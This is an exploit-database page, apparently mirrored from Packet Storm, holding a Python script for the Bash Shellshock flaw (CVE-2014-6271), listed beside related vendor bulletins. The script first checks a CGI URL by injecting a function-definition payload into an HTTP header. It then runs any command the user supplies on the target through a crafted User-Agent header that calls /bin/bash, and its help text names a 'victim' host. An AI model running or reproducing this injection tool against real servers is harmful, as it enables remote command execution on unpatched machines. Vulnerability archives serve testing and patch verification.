Lucene search
K

Gnu Bash 4.3 CGI Scan Remote Command Injection

🗓️ 26 Sep 2014 00:00:00Reported by Claudio VivianiType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 131 Views

Gnu Bash 4.3 CGI Scan Remote Command Injection too

Related
Code
ReporterTitlePublishedViews
Family
IBM Security Bulletins
Security Bulletin: Vulnerabilities in Bash affect IBM Workload Deployer (CVE-2014-6271, CVE-2014-7169, CVE-2014-7186, CVE-2014-7187, CVE-2014-6277, CVE-2014-6278)
15 Jun 201807:01
ibm
IBM Security Bulletins
Security Bulletin: Vulnerabilities in Bash affect SmartCloud Provisioning for IBM Provided Software Virtual Appliance
17 Jun 201822:30
ibm
IBM Security Bulletins
Security Bulletin: Vulnerabilities in Bash affect IBM SmartCloud Entry Appliance (CVE-2014-6271, CVE-2014-7169, CVE-2014-7186, CVE-2014-7187, CVE-2014-6277, CVE-2014-6278)
19 Jul 202000:49
ibm
IBM Security Bulletins
Security Bulletin: Vulnerabilities in Bash affect certain Brocade products that IBM resells for use with IBM BladeCenter (CVE-2014-6271, CVE-2014-7169, CVE-2014-7186, CVE-2014-7187, CVE-2014-6277, CVE-2014-6278)
31 Jan 201901:35
ibm
IBM Security Bulletins
Security Bulletins for IBM Tealeaf Customer Experience offerings
16 Jun 201819:35
ibm
IBM Security Bulletins
Security Bulletin: Vulnerabilities in Bash affect certain IBM N Series products (CVE-2014-6271, CVE-2014-7169, CVE-2014-7186, CVE-2014-7187, CVE-2014-6277, CVE-2014-6278)
18 Jun 201800:08
ibm
IBM Security Bulletins
Security Bulletin: Vulnerabilities in Bash affect IBM Smart Analytics System 5600 (CVE-2014-6271, CVE-2014-7169, CVE-2014-7186, CVE-2014-7187, CVE-2014-6277, CVE-2014-6278)
16 Jun 201813:58
ibm
IBM Security Bulletins
Security Bulletin: Vulnerabilities in Bash affect IBM PureData System for Operational Analytics (CVE-2014-6271, CVE-2014-7169, CVE-2014-7186, CVE-2014-7187, CVE-2014-6277, CVE-2014-6278)
18 Oct 201903:50
ibm
IBM Security Bulletins
Security Bulletin: Vulnerabilities in Bash affect IBM Flex System Manager (FSM): (CVE-2014-6271, CVE-2014-6277, CVE-2014-6278, CVE-2014-7169, CVE-2014-7186, CVE-2014-7187)
31 Jan 201901:30
ibm
IBM Security Bulletins
Security Bulletin: UPDATE: Vulnerabilities in Bash affect AIX Toolbox for Linux Applications (CVE-2014-6271, CVE-2014-6277, CVE-2014-6278, CVE-2014-7169, CVE-2014-7186, and CVE-2014-7187)
15 Sep 202112:14
ibm
Rows per page
`#!/usr/bin/env python  
  
# http connection  
import urllib2  
# Args management  
import optparse  
# Error managemen  
import sys  
  
banner = """  
_______ _______ __  
| _ .-----.--.--. | _ .---.-.-----| |--.  
|. |___| | | | |. 1 | _ |__ --| |  
|. | |__|__|_____| |. _ |___._|_____|__|__|  
|: 1 | |: 1 \  
|::.. . | |::.. . /  
`-------' `-------'  
___ ___ _______ _______ _______ ___  
| Y | | _ | | _ | _ | |  
| | |_|___| | |. l |. 1___|. |  
|____ |___(__ | |. _ |. |___|. |  
|: | |: 1 | |: | |: 1 |: |  
|::.| |::.. . | |::.|:. |::.. . |::.|  
`---' `-------' `--- ---`-------`---'  
  
Gnu B4sh <= 4.3 Cg1 Sc4n + r3m0t3 C0mm4nd Inj3ct10n  
  
==========================================  
- Release date: 2014-09-25  
- Discovered by: Stephane Chazelas  
- CVE: 2014-6271  
===========================================  
  
Written by:  
  
Claudio Viviani  
  
http://www.homelab.it  
  
[email protected]  
[email protected]  
  
https://www.facebook.com/homelabit  
https://twitter.com/homelabit  
https://plus.google.com/+HomelabIt1/  
https://www.youtube.com/channel/UCqqmSdMqf_exicCe_DjlBww  
"""  
  
# Check url  
def checkurl(url):  
if url[:8] != "https://" and url[:7] != "http://":  
print('[X] You must insert http:// or https:// procotol')  
sys.exit(1)  
else:  
return url  
  
def connectionScan(url):  
print '[+] Checking for vulnerability...'  
try:  
headers = {"VULN" : "() { :;}; echo 'H0m3l4b1t: YES'"}  
response = urllib2.Request(url, None, headers)  
content = urllib2.urlopen(response)  
if 'H0m3l4b1t' in content.info():  
print '[!] VULNERABLE: '+url  
else:  
print '[X] NOT Vulnerable'  
except urllib2.HTTPError, e:  
print e.info()  
if e.code == 400:  
print '[X] Page not found'  
else:  
print '[X] HTTP Error'  
except urllib2.URLError:  
print '[X] Connection Error'  
  
def connectionInje(url,cmd):  
try:  
headers = { 'User-Agent' : '() { :;}; /bin/bash -c "'+cmd+'"' }  
response = urllib2.Request(url, None, headers)  
content = urllib2.urlopen(response).read()  
print '[!] '+cmd+' command sent!'  
except urllib2.HTTPError, e:  
if e.code == 500:  
print '[!] '+cmd+' command sent!!!'  
else:  
print '[!] command not sent :('  
except urllib2.URLError:  
print '[X] Connection Error'  
  
commandList = optparse.OptionParser('usage: %prog [-s] -t http://localhost/cgi-bin/test -c "touch /tmp/test.txt"')  
commandList.add_option('-t', '--target', action="store",  
help="Insert TARGET URL: http[s]://www.victim.com[:PORT]",  
)  
commandList.add_option('-c', '--cmd', action="store",  
help="Insert command name",  
)  
commandList.add_option('-s', '--scan', default=False, action="store_true",  
help="Scan Only",  
)  
options, remainder = commandList.parse_args()  
  
# Check args  
if not options.target:  
print(banner)  
commandList.print_help()  
sys.exit(1)  
elif options.target and not options.cmd and not options.scan:  
print(banner)  
commandList.print_help()  
sys.exit(1)  
  
print(banner)  
  
url = checkurl(options.target)  
cmd = options.cmd  
if options.scan:  
print '[+] Scan Only Mode'  
connectionScan(url)  
else:  
print '[+] Remote Command Innection Mode'  
connectionScan(url)  
connectionInje(url,cmd)  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation